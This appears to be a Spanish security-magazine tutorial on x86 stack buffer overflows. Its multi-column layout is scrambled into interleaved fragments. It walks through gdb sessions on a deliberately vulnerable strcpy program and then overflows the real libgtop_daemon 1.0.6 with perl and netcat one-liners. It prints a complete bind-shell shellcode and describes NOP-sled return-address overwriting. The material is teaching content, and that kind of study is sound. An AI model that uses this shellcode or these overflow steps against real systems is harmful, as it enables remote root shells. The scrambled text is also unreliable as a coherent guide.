Professional Documents
Culture Documents
Linux x86
Piotr Sobolewski
E
l desbordamiento de pila es uno de uno que marca el fin de la función, y otro
los trucos más viejos que existen para que indica el final del programa. Después
tomar el control sobre un programa de imprimir estos comunicados, el programa
vulnerable. Aunque esta técnica es conocida termina.
desde hace mucho tiempo, los programadores Tratemos ahora de tirar de la soga por lo
siguen cometiendo errores que permiten a los más delgado. El array buf sólo puede contener
intrusos utilizarla. Observaremos en detalle en diez caracteres (char buf[10]), pero la secuen-
qué consiste la aplicación de esta técnica para cia de caracteres colocada en ella puede tener
el desbordamiento de un buffer en la pila. cualquier tamaño. Ejemplo:
Comencemos con el programa presentado
en el Listado 1: stack_1.c. Su funcionamiento $ ./stack_1 \
es simple: la función fn recibe como argumento AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
una secuencia de caracteres char *a y crea una
copia de su contenido en el array char buf[10].
En este artículo aprenderás...
Primeros pasos
go continuar la ejecución de un ��
programa, ejecutarlo paso a paso,
verificar y modificar el valor de sus ���
variables internas, examinar el con-
tenido de la memoria, los registros ��
locales de la función main(): int a e esta línea ha provocado la inserción Una vez gdb ha sido lanzado, po-
int b. La flecha azul indica el fondo, y en la pila de los argumentos de la demos mirar el listado del programa
la flecha roja – la cima de la pila. función fn(), o sea, de las variables depurado (con el comando list),
La segunda parte de la figura a y b. y después colocar en él un punto
presenta el estado de la pila en el El paso siguiente se muestra en de ruptura, por ejemplo en la cuar-
momento en que se ejecuta la línea la tercera parte del esquema. En ta línea de la función fn(), o sea,
fn(a, b). Vemos que la ejecución de esta etapa, en la pila se inserta la printf("estamos en fn\n");. Para
$ gdb stack_1
(gdb) break 5 GNU gdb 6.0-debian
Copyright 2003 Free Software Foundation, Inc.
Ahora podemos lanzar el progra- (...)
(gdb) list
ma (utilizando el comando run).
1 void fn(char *a) {
El programa arranca y se detiene 2 char buf[10];
en el lugar donde hemos puesto 3 strcpy(buf, a);
el breakpoint, o sea, en la quinta 4 printf("fin de la función fn\n");
línea. Procedamos a examinar el 5 }
6
contenido de la pila. En primer lugar
7 main (int argc, char *argv[]) {
necesitaremos la dirección de la ci- 8 fn(argv[1]);
ma de la pila, es decir, el contenido 9 printf("fin\n");
del registro %esp. Basta con lanzar el 10 }
comando: (gdb) break 3
Breakpoint 1 at 0x804839a: file stack_1.c, line 3.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) print $esp Starting program: /home/piotr/pila/stack_1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, fn (a=0xbffffb84 'A' <repeats 30 times>) at stack_1.c:3
Conociendo la dirección de la cima 3 strcpy(buf, a);
de la pila, podemos observar el con- (gdb) print &buf
$1 = (char (*)[10]) 0xbffff9e0
tenido de la memoria, empezando
(gdb) print $ebp+4
por esta dirección. Veamos por $2 = (void *) 0xbffff9fc
ejemplo las primeras 24 palabras de (gdb) x 0xbffff9fc
4 bytes: 0xbffff9fc: 0x080483da
(gdb) next
4 printf("fin de la función fn\n");
(gdb) x/24 $esp
(gdb) x $ebp+4
0xbffff9fc: 0x08004141
El resultado de este comando se
muestra en el Listado 5. Vemos que
al inicio de la pila (mirando desde la Fijémonos que, para encontrar la Análisis del programa
cima hacia el puntero de marco) se dirección de vuelta de la función, no Ahora que ya sabemos qué es lo que
encuentran 16 bytes (el tamaño de la tenemos que examinar la pila entera, está pasando en la pila durante la eje-
pila ha sido redondeado). Después empezando por su cima y anali- cución del programa, podemos volver
vienen 2 palabras de 4 bytes, de zando cada variable local colocada a examinar el programa stack_1.c
contenido 0x00000004 y 0x00000003: sobre ella. Basta con verificar cuál (Listado 1). Como recordaremos,
estas son las variables x e y. Más allá es el contenido del registro %ebp, y este programa terminaba con errores
se encuentra (véase la quinta parte sumarle cuatro: cuando le hacíamos colocar una serie
de la Figura 3) la dirección del fondo de 30 bytes en un array para 10. Tra-
de la pila y la dirección de vuelta de (gdb) print $ebp+4 temos de lanzarlo desde el depurador
la función (en el caso mostrado en el y veremos lo que pasa entre el mo-
Listado 5, ésta es 0x080483b6). Com- Como podemos ver en la Figura 4 mento en que se escriben los 20 bytes
probemos si la dirección de vuelta (quinta parte), el registro %ebp de memoria fuera de el array buf[10] y
de la función realmente apunta a la apunta a la dirección del fondo an- la terminación del programa con el co-
función main(). Para ello desensam- terior, almacenada en la pila. Esta municado de violación de segmento.
blemos la función main(): dirección ocupa 4 bytes, así que Comencemos compilando el pro-
después de la dirección siguiente grama con las informaciones para el
(gdb) disas main más 4 bytes (recordemos que la pi- depurador:
la crece hacia abajo) está colocada
Se ve que (Listado 5) la dirección la dirección de vuelta de la función. $ gcc stack_1.c -o stack_1 -ggdb
0x080483b6, es decir la dirección de Lo podemos comprobar dando la
vuelta de la función fn(), realmente orden: Ahora tratemos de provocar un error
se halla en en interior de main(), justo de manera controlada. Para ello,
después de la instrucción que llama (gdb) x 0xbffffa0c después de lanzar el depurador y
la función fn(). 0x080483b6 poner el punto de ruptura en la ter-
���������
��������������
��������������
������������� (que coloca en el array una secuen- ¿de dónde podemos sacar un buen
������
cia de 30 caracteres): shellcode? Debe ser breve (para que
����������������� quepa en el buffer) y no puede con-
���������
(gdb) next tener bytes cero (en caso contrario
���������
��������� ���
no podríamos colocarlo dentro de la
Veamos cuál es ahora la dirección secuencia a entregar al programa,
de vuelta de la función: ya que el byte cero sería interpreta-
����� do como terminador de la cadena). A
(gdb) x $ebp+4 pesar de las apariencias, escribir un
0xbffff9fc: 0x08004141 shellcode no es nada difícil, existen
Figura 5. Construcción de la
varias publicaciones que enseñan
secuencia que permite desbordar el
Podemos ver que los 2 bytes menos a crear shellcodes para diferentes
buffer en la pila y ejecutar nuestro
significativos de la dirección han sido sistemas operativos y están disponi-
propio código (primera y segunda
reemplazados por el valor 0x4141. En bles en la Red, e incluso en nuestra
idea)
hexadecimal, 0x41 equivale (como revista. Nosotros dejaremos para
cera línea del programa (o sea, en podemos comprobar en man ascii) otra ocasión la creación de nuestro
la línea crítica strcpy(buf, a);) arran- a la letra A. propio shellcode y nos contentare-
camos el programa, dándole como La conclusión es sencilla. Pues- mos con utilizar uno ya listo de los
argumento una serie de 30 letras A to que, entregando al programa varios que pueden ser fácilmente
(la transcripción completa de la se- una serie de caracteres demasiado encontrados en la Red.
sión del depurador se encuentra en larga, hemos logrado alterar la di- ¿Cuál debe ser la longitud de la
el Listado 6). rección de vuelta de la función, una secuencia para que ésta modifique
cadena alfanumérica lo suficiente la dirección de vuelta de la función?
(gdb) run \ inteligentemente construida podría Solucionaremos este problema de
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA modificar esta dirección de tal manera experimental: ejecutaremos
manera que, terminada la función, repetidamente el programa vulne-
El programa se detiene en el punto el control pase a cualquier punto rable dándole como argumento una
de ruptura, es decir, en la tercera de la memoria que elijamos. Esta secuencia cada vez más larga. Toma-
línea. Verifiquemos cuál es la direc- dirección puede muy bien ser la de remos nota de cuál es la longitud que
ción de el array buf[]: un fragmento de código colocado produce la violación de segmento, y
por nosotros mismos en la memo- para nuestro ataque utilizaremos una
(gdb) print &buf ria. Este código podría hacer algo secuencia un poco más larga, por si
$1 = (char (*)[10]) 0xbffff9e0 que nunca haría voluntariamente el acaso. Al escribir encima del frag-
administrador del sistema atacado: mento de la pila localizado después
y la dirección de vuelta de la fun- concedernos privilegios de root o de la dirección de vuelta, destruire-
ción: abrir una shell en uno de los puer- mos los valores de algunas de las
tos. Para poder colocarlo en la me- variables locales de la función que
(gdb) print $ebp+4 moria, el código debe formar parte ha llamado a la nuestra (no importa,
$2 = (void *) 0xbffff9fc de la secuencia que entregamos igual no planeamos regresar a ella).
como argumento al programa. ¿Cuál será entonces la dirección
Vemos que el inicio del array y la Nuestro código (véase la Figura 5, que reemplazará la dirección de
Primeros pasos
dirección de vuelta de la función es- columna izquierda) debe componerse vuelta de la función? En la Figura
tán separados por sólo 28 bytes. De de dos partes: una que contenga el 5 vemos simplemente dirección
manera que no es de extrañar que, código (en lenguaje de máquina) que del shellcode, pero ¿como pode-
al colocar allí una secuencia de 30 nos permitirá realizar algún objetivo mos saber cual será la dirección
caracteres, el final de ésta se solape malicioso (es lo que se llama un she- en la que el programa vulnerable
con la dirección de vuelta de la fun- llcode). La segunda parte contiene la colocará la secuencia que le entre-
ción. Verifiquemos si en realidad es dirección de la primera y modifica la guemos? Llegaremos a la solución
así: veamos cuál es la dirección de dirección de vuelta de la función, de de este problema de dos lados a
vuelta de la función antes de copiar manera que cuando se termine la la vez. Por una parte, trataremos
el elemento a al array buf: función atacada se ejecute el código de ejecutar el programa vulnerable
maligno de la primera parte. dentro del depurador, verificando en
(gdb) x 0xbffff9fc Antes de hacer uso práctico de qué lugar de la memoria fue colo-
0xbffff9fc: 0x080483da nuestros conocimientos, reflexio- cado nuestro argumento; por otra,
Iniciamos la ofensiva
Ahora que nuestro plan está listo,
��
podemos intentar un ataque al pro- ����������������������������������
�����������������������
grama vulnerable del Listado 1. Pero
�������������������
¿para qué atacar un programa escri-
to por nosotros mismos, con un agu-
jero de seguridad puesto adrede?
Puesto que sabemos ya (al menos
��� ���
en teoría) cómo hacerlo, tratemos de
explotar una vulnerabilidad de estas
en un programa real. Figura 6. Fragmento de la función permitted() (ilustración del listado 7)
Revisando los archivos de bug-
traq podemos encontrar un programa libgtop _daemon). Nuestro ataque hacer que el programa vulnerable
vulnerable al ataque. En uno de los consistirá en enviar al ordenador, ejecute nuestro código.
anuncios encontramos información donde está funcionando el servidor,
sobre un error en la versión 1.0.6 datos especialmente preparados, ¿En qué consiste el error en el
de la librería libgtop, el cual permite los cuales provocarán un desborda- libgtop_daemon?
saturar el buffer en la pila. libgtop es miento de buffer y la ejecución del Las fuentes de la versión vulnerable
una librería que recoge información código entregado por nosotros. Más del programa están en el CD que
diagnóstica sobre el sistema. La tarde nos ocuparemos de los deta- acompaña el presente número de la
librería funciona en una arquitec- lles del ataque: veamos ahora de revista. Veamos el Listado 7, el cual
tura cliente-servidor y el error fue cerca cuál es el error detectado en presenta la definición de la función
detectado en el servidor (programa libgtop _daemon y cómo podemos permitted(), que se encuentra en el
plano después del arranque), éste no sería una solución muy cómoda, $ perl -e \
abrirá y comenzará a escuchar a pues para cambiar la cantidad de 'print "MAGIC-1\n1500\n"."A"x1500' \
través del puerto 42800. Podemos símbolos imprimidos tendríamos | nc 127.0.0.1 42800
entonces (usando, por ejemplo, que modificar el fichero. Otra posible
netcat) enviar a este puerto la se- solución, que nos asegura el mismo Nota: es evidente que después de
cuencia que hemos mencionado, y efecto, consiste en ejecutar el si- cada prueba tendremos que volver
así provocar el desbordamiento del guiente comando: a lanzar el libgtop _daemon. Puede
buffer en la pila. ocurrir que durante alguno de los
$ perl -e 'print "A"x2000' relanzamientos sucesivos se nos
Susceptibilidad de muestre el siguiente comunicado:
libgtop_daemon a Cuando se lanza el intérprete de
desbordamientos de Perl con la opción -e, éste ejecuta bind: Address already in use
las instrucciones que se le suminis-
buffer tran como argumento, de tal manera En tales casos lo más sencillo es
Comprobemos que libgtop _dae- que basta con un comando como el esperar un minuto y volver a intenatr
mon es verdaderamente vulnerable siguiente para imprimir la cadena al- lanzar el programa.
a errores de desbordamiento de bu- fanumérica entera que provocará el Después de unas cuantas prue-
ffer. Para ello debemos compilar el desbordamiento del buffer: bas, llegaremos a la conclusión de
código fuente de libgtop que encon- que la secuencia más corta que oca-
traremos en el CD que acompaña $ perl -e \ siona una violación de segmento es
a la presente revista, haciendo uso 'print "MAGIC-1\n2000\n"."A"x2000' la que contiene 1.178 letras A. Supo-
de los siguientes comandos: nemos que esta secuencia no altera
Ejecutemos este comando conectan- la dirección de retorno de la función,
$ ./configure do su salida a la entrada de netcat: pues antes de ésta se encuentra la
$ make dirección del fondo anterior de la pila,
$ perl -e \ cuya modificación también desesta-
Pasemos ahora al directorio src/ 'print "MAGIC-1\n2000\n"."A"x2000' \ biliza el funcionamiento del programa
daemon y ejecutemos el comando: | nc 127.0.0.1 42800 (véase la Figura 4, parte 5). Aseguré-
monos de que realmente es así.
$ ./libgtop_daemon -f Si miramos ahora la consola en la
que fue lanzado el libgtop _daemon, libgtop_daemon
que hará que libgtop _daemon sea veremos que el programa se ha de- en el depurador
lanzado y comience a escuchar en tenido con un comunicado de viola- Para lanzar el libgtop_daemon desde
el puerto 42800. Lancemos ahora ción de segmento. el depurador, debemos primero re-
otra consola y enviemos desde ella compilar el programa incluyendo los
al puerto 42800 del sistema local ¿Cuántas gotas datos de depuración, lo que se hace
una cadena alfanumérica que sature rebosan el vaso? lanzando el compilador (gcc) con la op-
el buffer. Puesto que sería incómodo Puesto que nuestro objetivo es ción -ggdb. Lo haremos de modo poco
escribir a mano una cadena de 2.000 cambiar la dirección de vuelta de elegante pero bastante más fácil.
letras A, le encargaremos a Perl es- la función utilizando una cadena al- Editemos el fichero Makefile que
ta tarea. Para escribir 2.000 letras A, fanumérica lo suficientemente larga, se encuentra en el directorio princi-
podría servir un sencillo script de dos revisemos cuán larga debe ser. Una pal de las fuentes. Encontraremos
líneas como el siguiente: cadena demasiado corta no afectará en él la siguiente línea:
la dirección de vuelta, pero una ex-
#!/usr/bin/perl cesivamente larga puede también CC = gcc
print "A"x2000 resultar una solución poco elegante,
pues la modificación de una porción Esta línea contiene el nombre del
La primera línea de este script le ha- demasiado grande de la memoria compilador que será usado. Si la
ce saber al kernel qué intérprete (en puede provocar efectos impredeci- cambiamos a:
este caso /usr/bin/perl) debe ejecu- bles y muy difíciles de diagnosticar.
tar el script, y la segunda imprime las Sabemos que una serie de 2.000 CC = gcc -ggdb
dos mil letras A. Podríamos meter letras A modifica la dirección de
este script en un fichero, añadirle el retorno de la función, por lo que po- todas las ejecuciones del compilador
código que imprima MAGIC-1\n2000\n demos ejecutar un comando similar se realizarán con la opción -ggdb.
y ejecutarlo redireccionando su sa- al anterior que envíe una cantidad Veamos si es así. Realicemos este
lida estándar hacia netcat, pero esta menor de caracteres, por ejemplo: cambio en Makefile y lancemos:
char shellcode[] = /* Taeho Oh bindshell code at port 30464 */ Por si acaso, echemos también un
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89" vistazo al contenido de la memoria a
"\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3" partir de esta dirección (para asegu-
"\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d"
rarnos de que realmente se encuen-
"\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3"
"\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
tra allí la secuencia preparada por
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3" nosotros).
"\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80"
"\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88" (gdb) x/24 buf
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
Se ve bien: primero una larga serie
de instrucciones nop, después el
Ejecutemos la línea actual, lo que La dirección es la que nosotros que- shellcode, después las direcciones.
provocará la modificación de la di- ríamos, pero en orden contrario al Ahora escojamos y anotemos alguna
rección de retorno, y veamos cuál es planeado (en lugar del valor 0x11223344 dirección justo después del comien-
ahora su valor: en la pila ha aparecido el 0x44332211). zo del área de instrucciones nop, por
Esto es consecuencia del hecho de ejemplo, 0xbffff500. Sustituyamos
(gdb) next que la x86 es una arquitectura little por ésta la dirección de retorno de
207 if (!invoked_from_inetd endian (en memoria los bytes menos la función. Terminemos la sesión de
&& server_xauth significativos se hallan delante de los trabajo con el depurador, dando a
&& server_xauth->data && más significativos), por lo que tendre- éste la instrucción quit o tecleando la
(gdb) x $ebp+4 mos que poner la dirección en orden combinación [ctrl]+[d].
0xbffff8dc: inverso. De paso revisemos cuál es la Así pues, la sesión de depuración
0x44332211 dirección del buffer buf[]. nos ha mostrado que la dirección de